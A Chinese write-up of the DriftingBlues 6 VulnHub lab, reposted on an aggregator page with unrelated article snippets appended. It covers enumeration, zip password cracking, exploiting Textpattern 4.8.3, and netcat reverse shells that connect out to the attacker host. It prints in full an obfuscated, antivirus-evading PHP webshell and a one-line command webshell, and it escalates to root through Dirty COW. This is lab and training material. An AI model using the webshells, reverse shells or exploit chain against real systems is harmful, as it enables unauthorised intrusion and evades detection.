[Vulnhub靶机] DriftingBlues: 6

[Vulnhub靶机] DriftingBlues: 6靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova


靶机地址:192.168.67.25

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口80及其服务http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,在查看网页源代码时发现一串提示,但该段提示为靶场提示,没有什么实际作用

4.尝试使用 dirsearch 工具扫描靶机网站目录,得到 robots.txt 文件和 textpattern 目录

dirsearch -u 靶机URL

        -u        指定目标URL

5.通过访问robots.txt,我们获得了一个 /textpattern/textpattern,以及一段提示信息(希望我们在扫描目录的字典中加入.zip的扩展名)

6.使用 gobuster 工具重新扫描靶机网站目录,并添加.zip扩展名,发现 spammer.zip 文件,访问该文件成功下载到本地,尝试解压发现存在密码

gobuster dir --url http://192.168.67.25 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip

        dir                          使用DIR枚举目录(目录爆破模式)

        -url                         目标URL(指定目标URL)

        --wordlist                字典列表的路径

        -x                           指定扩展名

二、漏洞利用

1.使用 zip2john 工具将压缩文件的密码转换为hash格式输出到 hash.txt 文件中,使用 john 工具进行密码破解,成功得到压缩包密码 myspace4(也可直接使用 fcrackzip 工具对zip文件的密码进行爆破)

zip2john Zip文件 > hash文件名

        >        将输出重定向到指定的文件中

zip2john工具,用于将Zip文件的压缩密码转换为hash格式,可以将Zip文件转换为John the Ripper密码破解工具可识别的格式。这个工具将Zip文件的密码hash提取出来,以便用于后续密码破解攻击。

john --wordlist=密码字典路径 文件名

        --wordlist        字典模式,从 文件或标准输入中读取词汇(指定字典)

John the Ripper(简称John)是一款开源的密码破解工具,它用于测试和评估密码的强度。John可以进行多种类型的密码破解,包括字典攻击、暴力破解、彩虹表攻击等。

/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压

fcrackzip -D -p 密码字典路径 -u Zip文件名

        -D         指定字典来暴力破解

        -p         使用字符串作为初始密码文件

        -u         指定压缩文件

2.使用压缩包密码打开 creds.txt 文件,得到账号/密码(mayer/lionheart)

3.访问之前获取到的文件 /textpattern/textpattern ,是一个登录页面,通过查看分析,发现CMS是textpattern

4.输入我们获取到的账户密码成功访问该网站后台,此时我们获得了CMS的版本信息为4.8.3

三、反弹shell

此时有两种反弹shell的方法:

        第一种:利用CMS的版本漏洞进行反弹shell

        第二种:利用CMS中文件上传模块上传木马

第一种反弹shell方法:

1.使用 searchsploit 工具搜索CMS版本漏洞信息,查找到该CMS版本漏洞利用脚本

Searchsploit是一款用于搜索和比较漏洞利用代码的命令行工具,基于Metasploit框架,并且内置了漏洞利用数据库,可以快速在本地搜索相关的漏洞利用代码,同时也支持从在线源获取最新的漏洞信息。

2.进入到漏洞利用脚本的目录下,运行该python脚本,提示脚本运行方法

python 48943.py URL地址 用户名 密码

3.执行漏洞脚本,运行时可能会显示报错,需要手动将代码修改,在第89行,script下标应当修改为3(还是建议看一下大佬写的:对DriftingBlues-6靶机进行渗透测试-CSDN博客),成功反弹shell 

scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]

4.但是通过该方法反弹的shell无法跳转到其他目录,在攻击机开启 nc 监听,利用刚才反弹的shell执行 nc 命令,尝试反弹新的shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

5.成功反弹shell,利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

第二种反弹shell方法:

1.在该CMS中存在文件上传位置,尝试上传木马

2.编写免杀木马 cmd.php 进行上传(因为靶机有防火墙所以需要免杀),上传成功后没有直接回显上传文件的路径,在查找后发现在管理界面中有上传文件的路径

<?php
class User {
    public static function getpublicMethod() {
        return 'publicMethod';
    }
    public static function publicMethod($args) {
        $key = 'args';
        $pass_decode=$$key;
        return @eval($pass_decode);
    }
}
$classloader = 'User';
$publicMethod1 = ['User',$classloader::getpublicMethod()];
$aes_decode =$publicMethod1('
$username = \'TUHUsuGa\';
$password = \'UTUHUsuGaUdTUHUsuGaWMllXd29KTUHUsuGaRjlRVDFOVVd5ZGpiV1FuWFNrNw==\';
header(\'dddddd:\'.$username);
$arr = apache_response_headers();
$template_source=\'\';
foreach ($arr as $k => $v) {
    if ($k[0] == \'d\' && $k[4] == \'d\') {
        $template_source = str_replace($v,\'\',$password);
    }
}
$template_source = base64_decode/**/($template_source);
$template_source = base64_decode/**/($template_source);
$key = \'template_source\';
$aes_decode=$$key;
return $aes_decode;
');
$publicMethod2 = ['User',$classloader::getpublicMethod()];
$publicMethod2($aes_decode);
$p7Buth = "CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPgo8c3R5bGU+CmJvZHl7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKICAgIGZvbnQtZmFtaWx5OiJNaWNyb3NvZnQgWWFIZWkiLCAKICAgICJNaWNyb3NvZnQgWWFIZWkgVUkgTGlnaHQiOwogICAgZm9udC1zaXplOjE0cHg7Cn0KLnBhZ2V7CiAgICBoZWlnaHQ6IDQ0NnB4OyAKICAgIG1hcmdpbjogMCBhdXRvOwogICAgcGFkZGluZy1yaWdodDoyMHB4OwogICAgbWFyZ2luLXRvcDozJTsKfQoucGFnZS10b3B7CiAgICB3aWR0aO+8mjEyMDBweDsKICAgIG1hcmdpbjogMCBhdXRvOwogICAgdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnBhZ2UtYm90dG9tewogICAgd2lkdGg6MTIwMHB4OwogICAgbWFyZ2luOiAwIGF1dG87Cn0KLnBhZ2UtYm90dG9tLXRpcHsKICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgIGNvbG9yOiAjN2Q3ZDdkOwogICBwYWRkaW5nOjE2cHggMCAxMHB4IDA7CiAgIGZvbnQtc2l6ZToxNnB4Owp9Ci5wYWdlLWJvdHRvbS13b3JkewogICBtYXJnaW4tbGVmdDozMCU7CiAgIGNvbG9yOiMzMTMxMzEKfQoucGFnZS1ib3R0b20td29yZCBwewogIGZvbnQtd2VpZ2h0OnVuc2V0OwogIGxpbmUtaGVpZ2h0OiAyMnB4OwogIG1hcmdpbjogMDsKfQoKPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0icGFnZSI+ICAKICAgIDxkaXYgY2xhc3M9InBhZ2UtdG9wIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ibG9ja3NyYy5oYXBsYXQubmV0L3dhZl9mb3JiaWRkZW5fZmlsZS93YWYtaW50ZXJUaXAuanBnIiAvPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWJvdHRvbSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2UtYm90dG9tLXRpcCIgbGFuZ0ZsYWc9J2Vycm9yVGlwJz48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icGFnZS1ib3R0b20td29yZCI+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYmxvY2tzcmMuaGFwbGF0Lm5ldC93YWZfZm9yYmlkZGVuX2ZpbGUvd2FmLWpxdWVyeS1taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKICAgICQoIiN0aW1lX2lkIikuaHRtbCh0b0xUKDE2OTkxMDcyMDEwMDApKTsKICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICQoIi5wYWdlIikuc3RvcCh0cnVlLGZhbHNlKS5hbmltYXRlKHsibWFyZ2luLXRvcCI6d2luSGVpZ2h0LzItMzEyfSwwKTsKICAgICQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKXsgIAogICAgICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICAgICAkKCIucGFnZSIpLnN0b3AodHJ1ZSxmYWxzZSkuYW5pbWF0ZSh7Im1hcmdpbi10b3AiOndpbkhlaWdodC8yLTMxMn0sMCk7CiAgICB9KTsKICAgIGNoYW5nZVBhZ2VFbGVtKCk7CiAgICBpZigkKCcjaW5uZXJCb3QnKS5odG1sKCkubGVuZ3RoPD0wKXsKICAgICAgICAkKCcjYm90SWQnKS5yZW1vdmUoKTsKICAgIH0KfSk7CgpmdW5jdGlvbiB0b0xUKGRhdGUpewogICAgZGF0ZSA9IG5ldyBEYXRlKHBhcnNlSW50KGRhdGUpKTsKICAgIHZhciB1dGM7CiAgICBpZiAoanVkZ2VMYW5ndWFnZSgpID09IDApCiAgICAgICAgdXRjID0gZGF0ZS50b0xvY2FsZVN0cmluZygnemgnLHt0aW1lWm9uZU5hbWU6ICdzaG9ydCcsIGhvdXIxMjogZmFsc2V9KTsKICAgIGVsc2UKICAgICAgICB1dGMgPSBkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbicse3RpbWVab25lTmFtZTogJ3Nob3J0JywgaG91cjEyOiBmYWxzZX0pOwogICAgcmV0dXJuIHV0YzsKfQpmdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7CiAgIHZhciBsYW5nID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2U7CiAgIHZhciBsYW5nRmxhZyA7CiAgIGlmKGxhbmc9PSJ6aC1DTiIpewogICAgICAgbGFuZ0ZsYWc9MDsKICAgfSBlbHNlewogICAgICAgbGFuZ0ZsYWc9MTsKICAgfQogICByZXR1cm4gbGFuZ0ZsYWc7Cn0KZnVuY3Rpb24gY2hhbmdlUGFnZUVsZW0oKXsKICAgIHZhciBsYW5nT2JqPXsgICAgICAgCiAgICAgICAgJ2NvbG9uJzpbJ++8micsJzonXSwKICAgICAgICAnZXZlbklEJzpbJ+S6i+S7tklEJywnRXZlbnQtSUQnXSwKICAgICAgICAnY2xpZW50SVAnOlsn5a6i5oi356uvSVAnLCdDbGllbnQtSVAnXSwKICAgICAgICAnY3V1cmVudFRpbWUnOlsn5b2T5YmN5pe26Ze0JywnQ3VycmVudCBUaW1lJ10sCiAgICAgICAgJ2Vycm9yVGlwJzpbJ+aCqOW9k+WJjeeahOiuv+mXruihjOS4uuWtmOWcqOW8guW4uO+8jOivt+eojeWQjumHjeivlS4uLicsJ1lvdXIgY3VycmVudCBiZWhhdmlvciBpcyBkZXRlY3RlZCBhcyBhYm5vcm1hbCwgUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4uLiddLAogICAgICAgICd1c2VyQWdlbnQnOlsnVXNlci1BZ2VudCcsJ1VzZXItQWdlbnQnXSwKICAgICAgICAvKidibG9ja0lkJzpbJ0JvdOaLpuaIqklEJywnQm90LUJsb2NrLUlEJ10sKi8KICAgICAgICAnUmVxdWVzdElEJzpbJ1JlcXVlc3QtSUQnLCAnUmVxdWVzdC1JRCddCiAgICB9CiAgICB2YXIgX2luZGV4PWp1ZGdlTGFuZ3VhZ2UoKTsKICAgIHZhciBwYWdlRWxlbWVudHMgPSAkKCJbbGFuZ0ZsYWddIik7CiAgICB2YXIgbGJsTGVuID0gcGFnZUVsZW1lbnRzLmxlbmd0aDsKICAgIHZhciBfZWxlbSxfZmxhZzsKICAgIGZvcihpID0gMDsgaSA8IGxibExlbjsgaSsrKSB7CiAgICAgICAgX2VsZW0gPSAkKHBhZ2VFbGVtZW50c1tpXSk7CiAgICAgICAgX2ZsYWc9X2VsZW0uYXR0cigibGFuZ0ZsYWciKTsKICAgICAgICBfZWxlbS50ZXh0KGxhbmdPYmpbX2ZsYWddW19pbmRleF0pOwogICAgfTsKfQoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    http_response_code(403);
    echo base64_decode/**/($p7Buth);
}

3.在攻击机开启 nc 监听,利用木马反弹的shell执行 nc 命令(POST传参cmd参数执行命令),尝试反弹shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

 5.成功反弹shell,利用python中pty模块的创建交互式shell

其他:

在成功反弹shell后,经过对目录内文件的查看,发现目录内存在 BSQTYLTSOp.php 文件,该文件是一个一句话木马文件(代码如下),可以正常执行命令,且该文件是能正常下载查看的。那这样就可以不用上传木马文件,直接通过该文件执行 nc 命令反弹shell,其操作方法思路同第二种方法相同

<?php system($_GET["efcd"]); ?>

四、提权

1.使用find命令寻找suid程序,尝试进行提权,没有发现可利用的漏洞程序(没有可利用的脚本或程序),ssh服务也没有启动,同样没有发现其他用户

2.换个思路,使用 uname 命令查看系统版本内核,发现linux内核版本为3.2.0,搜索发现该版本存在脏牛漏洞

uname命令是一个在UNIX类操作系统中常用的命令,用于显示当前系统的相关信息

uname -a

        -a        显示全部信息

 3.使用 searchsploit 工具搜索 linux 内核版本漏洞信息(直接查找 "linux 3.2.0" ,搜索到的信息太多,直接查找 "Dirty COW" ,也就是脏牛漏洞),查找到该 linux 内核版本漏洞利用脚本

脏牛漏洞(Dirty COW)是一个影响Linux内核的本地特权提升漏洞,其漏洞编号为CVE-2016-5195,影响范围为2.6.22 <= Linux kernel  < 3.9

脏牛漏洞的原理是利用了Linux内核中的一个写时复制(Copy-on-Write)的漏洞,使得攻击者可以获取到本应该只有读权限的文件的写权限。通过在特定条件下修改映射到内存的文件,攻击者可以在没有足够权限的情况下修改目标文件的内容。

4.在攻击机使用 python 开启HTTP服务器,来共享文件,在靶机上使用wget命令将提权脚本下载下来,并赋予该脚本执行权限

python -m http.server

        -m        指定到执行的模块

http.server是Python标准库中提供的一个模块,它包含了一个简单的HTTP服务器类和相关函数,用于实现Web服务器和文件共享等功能(默认端口为8000)。

wget 指定文件URL                        //下载指定文件

需要再 /tmp 目录下下载,或者其他有权限创建文件权限的目录

5.使用gcc编译器来编译脚本,并生成可执行文件,运行可执行文件后,就可以能够登录新创建的用户,使用此漏洞可以根据需要修改用户值, 默认为 "firefart" 用户。

gcc -pthread 40839.c -o 指定文件名 -lcrypt

        -pthread              用于指示编译器链接POSIX线程库

        -o                        指定输出文件

        -lcrypt                  用于链接密码库

6.成功执行脚本后,使用默认用户 "firefart" 以及自定义的密码 "123456" 进行登录,成功登录后查看权限,发现成功提权至root权限

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/310712.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分布式限流和本地限流那些事?

分布式限流和本地限流的目的是一样的&#xff0c;当然我建议技术人在自己的服务中优先考虑本地限流&#xff0c;那样对于自己的API的影响会小一点。 限流这种技术&#xff0c;在没有触发限流的阈值的时候&#xff0c;是不会有什么大的问题的&#xff0c;当时一旦触发阈值&…

在树莓派OS Bookworm中如何安装Python包

树莓派OS "Bookworm"版本&#xff0c;用于树莓派5上&#xff0c;更改了安装Python模块的方法。 关键要点&#xff1a; 1&#xff09;树莓派OS Bookworm需要在一个虚拟环境中安装Python包来防止与Python的系统版本发生冲突。 2&#xff09;你可以使用apt包管理器来搜…

如何在群辉NAS使用Docker搭建容器魔方并实现无公网ip远程访问

文章目录 1. 拉取容器魔方镜像2. 运行容器魔方3. 本地访问容器魔方4. 群辉安装Cpolar5. 配置容器魔方远程地址6. 远程访问测试7. 固定公网地址 本文主要介绍如何在群辉7.2版本中使用Docker安装容器魔方&#xff0c;并结合Cpolar内网穿透工具实现远程访问本地网心云容器魔方界面…

商品源数据如何采集,您知道吗?

如今&#xff0c;电子商务已经渗透到了人们生活的方方面面。2020年新冠肺炎突如其来&#xff0c;打乱了人们正常的生产生活秩序&#xff0c;给经济发展带来了极大的影响。抗击疫情过程中&#xff0c;为避免人员接触和聚集&#xff0c;以“无接触配送”为营销卖点的电子商务迅速…

【数据结构】7大排序最详细

0.前言 接下来进入排序&#xff0c;我们知道在c语言阶段可能就学习过了像冒泡排序&#xff0c;选择排序这种比较简单的排序&#xff0c;那么接下来我们就会学习到更加高级的排序算法。但高级代表着难度的提升&#xff0c;但不用担心&#xff0c;博主会细细来谈&#xff0c;慢慢…

使用Rider C# Dll工程和Unity工程互相调用、断点方法

总体流程 创建C# Dll工程&#xff0c;生成C#工程Dll 创建Unity工程 Unity调用C#工程的代码 C#工程调用Unity工程的代码 断点方法 创建C# Dll工程&#xff0c;生成C#工程Dll 创建工程 选这个&#xff0c;注意UnityEngineDll这个选项&#xff0c;要选你目标unity版本的Dll…

【【深入浅出了解静态时钟分析和时钟约束】】

深入浅出了解静态时钟分析和时钟约束 时序分析是什么&#xff1f; 我们提出一些特定的时序要求&#xff08;或者说是添加特定的时序约束&#xff09;&#xff0c;使用特定的时序模型&#xff0c;针对特定的电路进行分析。分析的最终结果是要求系统时序满足我们提出的要求。 这…

MySQL的三种存储引擎 InnoDB、MyISAM、Memory

InnoDB 1). 介绍 InnoDB是一种兼顾高可靠性和高性能的通用存储引擎&#xff0c;在 MySQL 5.5 之后&#xff0c;InnoDB是默认的MySQL 存储引擎。 2). 特点 DML操作遵循ACID模型&#xff0c;支持事务&#xff1b; 行级锁&#xff0c;提高并发访问性能&#xff1b; 支持外键F…

云渲染是什么?云渲染有什么用?云渲染对本地的渲染的影响有哪些?

如果你曾经在深夜加班&#xff0c;眼睁睁看着电脑显卡冒着烟、渲染器哭着喊着把你的CPU和GPU当成磨盘来使用&#xff0c;那么你可能会对云渲染心生向往。毕竟&#xff0c;谁不想在享用最新游戏画面和电影级效果的同时&#xff0c;不用忍受电脑发热、卡顿等问题呢&#xff1f; 云…

What does “grep -i“ do?

grep&#xff08; Global Regular Expression Print &#xff09;根据 给定的正则表达式 搜索文本&#xff0c;并将匹配的行打印出来 grep -i 表示查找的过程中忽略大小写 在已安装的rpm包里&#xff0c;查询是否有tree相关的包 rpm -qa | grep -i "tree"在文件中搜…

在Vivado下利用Tcl实现IP的高效管理

在Vivado下利用Tcl实现IP的高效管理https://cloud.tencent.com/developer/article/1736645 在Vivado下&#xff0c;有两种方式管理IP。一种是创建FPGA工程之后&#xff0c;在当前工程中选中IP Catalog&#xff0c;生成所需IP&#xff0c;这时相应的IP会被自动添加到当前工程中&…

一键去背景怎么去?使用这些智能抠图软件即可已经去背景

作为一名设计师&#xff0c;我们的工作不仅仅是追逐创意的火花&#xff0c;为品牌和产品打造独特的形象。在美好的表象之下&#xff0c;有一项常常让我们苦恼的“必修课”——抠图。抠图是设计过程中不可或缺的一环&#xff0c;它要求我们对图像进行精细的处理&#xff0c;以确…

2019年认证杯SPSSPRO杯数学建模D题(第一阶段)5G时代引发的道路规划革命全过程文档及程序

2019年认证杯SPSSPRO杯数学建模 5G下十字路口车辆通行效率的讨论和建模 D题 5G时代引发的道路规划革命 原题再现&#xff1a; 忙着回家或上班的司机们都知道交通堵塞既浪费时间又浪费燃料&#xff0c;甚至有的时候会带来情绪上的巨大影响&#xff0c;引发一系列的交通问题。…

使用脚本把springboot程序部署到k8s上

一般我们部署写4个文件就行了 首先分别写 Dockerfile1package.sh2build.shdocker_push.sh Dockerfile # 基于jdk1.8 FROM openjdk:8-jdk-alpine RUN echo "Asia/Shanghai" > /etc/timezone RUN mkdir /app WORKDIR /appCOPY ./monitor-flink-1.0.jar /appEXPO…

WPF 布局

了解 WPF中所有布局如下&#xff0c;我们一一尝试实现&#xff0c;本文档主要以图形化的形式展示每个布局的功能。 布局&#xff1a; Border、 BulletDecorator、 Canvas、 DockPanel、 Expander、 Grid、 GridView、 GridSplitter、 GroupBox、 Panel、 ResizeGrip、 Separat…

【软件测试作业_TPshop商城】农业工程学院-测试需求分析与测试计划+自动化+性能+测试用例+报告软件缺陷+测试计划+单元测试+系统测试

1测试需求分析与测试计划 1.1 被测系统简介 1.2测试需求分析 1.2.1单元测试层面的测试需求分析 1.2.2系统测试层面的测试需求分析 1.3测试计划 1.31测试范围与任务 1.3.2 测试环境 1.3.3测试进度安排 测试用例的设计2 2.1单元测试层面的测试用例设计 2.2系统测试层面的测试用例…

Redis:原理速成+项目实战——Redis实战10(Redis消息队列实现异步秒杀)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;Redis&#xff1a;原理速成项目实战——Redis实战9&#xff08;秒杀优化&#xff09; &#x1f4da;订阅专栏&#xff1a;Redis&…

zookerper入门

zookerper介绍 ZooKeeper 是一个开源的分布式协调框架,主要用来解决分布式集群中应用系统的一致性问题. ZooKeeper本质上是一个分布式的小文件存储系统&#xff08;Zookeeper文件系统监听机制&#xff09;.提供基于类似于文件系统的目录树方式的数据存储&#xff0c;并且可以…

PFA试剂瓶——实验室存储运输化学试剂样品容器

PFA是一种高性能的塑料材料。它是一种热塑性塑料&#xff0c;由全氟化&#xff0c;聚合物制成&#xff0c;具有高度的化学稳定性性。由于其优异的性能&#xff0c;PFA被广泛应用于多个领域&#xff0c;尤其是作为存储和运输各种化学试剂的容器&#xff0c;耐受-200℃至260C的温…

闩锁效应(Latch-up)

闩锁效应&#xff08;Latch-up&#xff09;原理解析 什么是闩锁效应&#xff08;Latch-up&#xff09;&#xff1f; 在CMOS N阱设计中&#xff0c;实际上是由于CMOS电路中基极和集电极相互连接的两个PNP和NPN双极性BJT管子(下图中&#xff0c;侧面式NPN和垂直式PNP)的回路放大…